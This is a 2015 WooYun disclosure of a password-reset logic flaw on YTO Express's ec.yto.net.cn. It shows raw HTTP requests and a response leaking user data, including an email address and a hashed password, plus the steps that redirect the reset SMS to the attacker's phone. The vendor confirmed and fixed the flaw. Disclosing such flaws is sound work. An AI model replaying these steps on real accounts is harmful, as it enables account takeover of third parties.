当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0126462

漏洞标题：快递安全之圆通任意用户密码重置(非爆破)

相关厂商：圆通

漏洞作者： harbour_bin

提交时间：2015-07-13 15:24

修复时间：2015-08-28 09:42

公开时间：2015-08-28 09:42

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-13： 细节已通知厂商并且等待厂商处理中
2015-07-14： 厂商已经确认，细节仅向厂商公开
2015-07-24： 细节向核心白帽子及相关领域专家公开
2015-08-03： 细节向普通白帽子公开
2015-08-13： 细节向实习白帽子公开
2015-08-28： 细节向公众公开

简要描述：

快递安全之圆通任意用户密码重置(非爆破)

详细说明：

1、正常的密码找回流程, 如下

POST /validUserByUserName.action HTTP/1.1
Host: ec.yto.net.cn
Proxy-Connection: keep-alive
Content-Length: 32
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://ec.yto.net.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://ec.yto.net.cn/forgetPassword.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=3BC2D0C5FF34B19E74A9CC792DE1FA91; CNZZDATA1253325994=77630497-1436747644-http%253A%252F%252Fec.yto.net.cn%252F%7C1436753071
userName=harbour&verityCode=3507


正常1.jpg


返回信息如下, 存在信息泄漏的问题(手机号、用户名、邮箱等信息,虽然加密, 但可能被利用,厂商注意)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/javascript;charset=UTF-8
Content-Language: zh-CN
Content-Length: 1142
Date: Mon, 13 Jul 2015 02:54:11 GMT
{"User":{"deptName":"","canceled":"","isPrint":"","loginTime":null,"remark":"","newPassword":"","userPassword":"0gOUwTRD7TnaXSB97e/Aeg==","hasOnbehalfChannel":false,"userType":"4","userContractList":[],"userState":"1","shopAccount":"","isSeal":"","bindedCustomerId":"","userLevel":"","userName":"harbour","addressProvince":"","appProvider":null,"addressCity":"","hasShpo":"","userCode":"","updateTime":null,"telAreaCode":"","cardType":"","taobaoEncodeKey":"","clientId":"","createUser":"","userThreadList":[],"mobilePhone":"2803c9f5bb0b84ca6ac5781643759a0a","telExtCode":"","shopName":"","userAuthority":"4","userNameText":"d6656d2b1cb23c6254c7d8d08aadee83","createTime":"2015-07-13 07:42:31","hrCanceled":"","sex":"","telCode":"","field003":"","field002":"","deptAddr":"","repeatNum":0,"unlikefreight":"","addressDistrict":"","userSource":"0","field001":"","canChangeToContract":"","cardNo":"","id":1686228,"parentId":"","printNav":"","childType":"","switchEccount":"0","siteName":"","dr":"","site":"","mail":"1207727511@qq.com","ids":[],"oldPassword":"","addressStreet":"","telePhone":"","deptPhone":"","financialManager":"","deptCode":""}}


正常2.jpg


看到这边, 预感会有问题, 于是测试了一下, 问题的确存在, 如下
2、使用测试帐号, 发送请求

test1.jpg


POST /validUserByUserName.action HTTP/1.1
Host: ec.yto.net.cn
Proxy-Connection: keep-alive
Content-Length: 31
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://ec.yto.net.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://ec.yto.net.cn/forgetPassword.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=3BC2D0C5FF34B19E74A9CC792DE1FA91; CNZZDATA1253325994=77630497-1436747644-http%253A%252F%252Fec.yto.net.cn%252F%7C1436753071
userName=wooyun&verityCode=3507


2、得到返回信息后, 浏览器会再次发送修改手机号码的请求

测试2.jpg


3、此处的手机号码是加密的, 就算未能明白加密规则也无所谓,替换成上文正常测试的手机号的加密字符串

替换.jpg


4、成功给我的手机发送短信, 并成功登录

test3.jpg


IMG_1342.PNG


登录成功.jpg

漏洞证明：

已证明！

修复方案：

你们更专业！
PS：邮箱部分似乎也有问题, 厂商自己检查一下吧

版权声明：转载请注明来源 harbour_bin@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-07-14 09:41

厂商回复：

非常感谢，我们已经在修复！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-07-13 16:20 | 鬼见愁 ( 路人 | Rank:10 漏洞数:1 | 挖洞之神)

    圆通貌似没有账号登入吧

  2. 2015-07-13 16:51 | harbour_bin ( 普通白帽子 | Rank:358 漏洞数:47 | 向TOP200进军！)

    现在的官网有的

  3. 2015-07-14 09:47 | harbour_bin ( 普通白帽子 | Rank:358 漏洞数:47 | 向TOP200进军！)

    5rank,好吧

  4. 2015-08-28 14:16 | lightless ( 实习白帽子 | Rank:48 漏洞数:11 | HDUISA成员，被某厂坑了一波，求工作。)

    @harbour_bin 圆通所有的洞都是5rank。。。

  5. 2015-08-28 14:24 | harbour_bin ( 普通白帽子 | Rank:358 漏洞数:47 | 向TOP200进军！)

    @lightless WooYun: 快递安全之圆通存在越权操作两处 这个10Rank不够到手的只有2